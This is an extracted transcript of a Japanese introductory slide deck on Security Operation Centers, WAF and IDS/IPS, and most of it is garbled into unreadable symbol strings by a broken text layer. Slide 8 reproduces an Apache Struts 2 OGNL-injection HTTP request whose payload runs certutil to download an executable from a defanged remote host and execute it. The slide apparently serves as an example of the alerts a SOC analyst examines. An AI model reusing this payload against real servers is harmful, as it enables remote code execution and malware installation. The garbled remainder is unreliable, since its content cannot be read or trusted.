SOCって何_公開用_-圧縮済み.pdf

Transcript

1. SOC 25    
2. *9<4 ´ /+ sec-chick@one_sec_chick   : ´ 5) #&',-
   .1PSOC '  ´ =7 "!%8630;2($
3. SOC  <8 -. Security Operation Center > )7 WAFIDS/IPS%& =2! '3(04/$?"1/:5,;*9 +6 <804/$? ,; <8# SOC
4.   ´ IDSIPSWAF")%& +* ('#!$  +* IDS/IPS/WAF +*%&   
5.   ´ IDSIPSWAF!$,'( .- +)% #&  /##& IDS/IPS/WAF *0 #&  " 
6. SOC 7  ´ -. 9546  '+%0 ´ :831, 2/($*-.#" 95&; :8 -.  :8)< 2/(  95&; :8! SOC
7. SOC
   
   
   
   
   #"  #" !     
8.    ´    GET /struts2-rest-showcase/orders.xhtml HTTP/1.1 Connection: Keep-Alive..Content-Type: %{(#nike='multipart/form- data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_member Access?(#_memberAccess=#dm):  (#cmd='cmd.exe /c certutil.exe -urlcache -split -f hxxp://xxx.xxx.com/download.exe C:/Windows/temp/fexbxidrwkqkbyt9335.exe & cmd.exe /c C:/Windows/temp/fexbxidrwkqkbyt9335.exe').(#iswin=(@java.lang.System@ getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process= #p.start()).  Accept: */*..Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: hogehoge.com:82
9. '50;hgd! ´ SOC & %WR "a_  WR 1. -/.-,1]  400\T$a_ [Z#YUM ? 2. jQ]%V#  Apache Struts 2 keM%bDO# jQApache Struts 2 %PG $a_HNC 3. L@DO=>  EBa_L@ "36)*'%(8-06# a_ Nf"L@DO =># c^ %WR:Ja_# WR ;h#IAa_<F 27+548+ DO270,6i9S` XK
10. SOC)2 ´  ,*     )21. SOC  4/3 0'$ +5  SOC'$+5) " &(#%(!$-
11. SOCqx ´ < SISOC58+63(HI)SOC@x ´ SISOCV tp(fjHISOC „O tp(u`fj SISOC  tp)83(fjCdXv SINnchfj/@ V tpzMSLA( F!$ 1;eK$)83V Y Z])83ƒ" tpJ] 24DE365;_L$ IDS/IPSWAF)83(Z] $Nn(fj$ Y HISOCg$orP 58+63(HI)SOC Ck tp (fj$ 1,792*I{ HI\W"^€)83(@ aQdys%.4 TlI|R?' ADFW5:,/"fj $& Y
    wGmys"Ck$ Y JiJ#>UDE$A?"$ Z]SISOCg‚b! u~=(}[ !-03B
12. @SOC>-  ´ 56 )#+%#73 ´ $!'56B1,  &$!'73 ´ ?=.849 ´ etc,etc……. ´ (*"2<:;//C0A 
13.  ´ SOCSecurity Operation Center b$ )+%=T WAF
    IDS/IPS 01 *&aL,! 3M4JN/.c-KI[PB\ ´ SOC$ )+%'+#&>7^W/:9A VBUDYF*&.c;H ´ @6SOC_< ZU*&JN (IDS/IPS,WAF C`O ´ 56SOCd? ZURQ[GJN/.c ]4S^WN82AD
    (, "
    FWXE*& ,!JN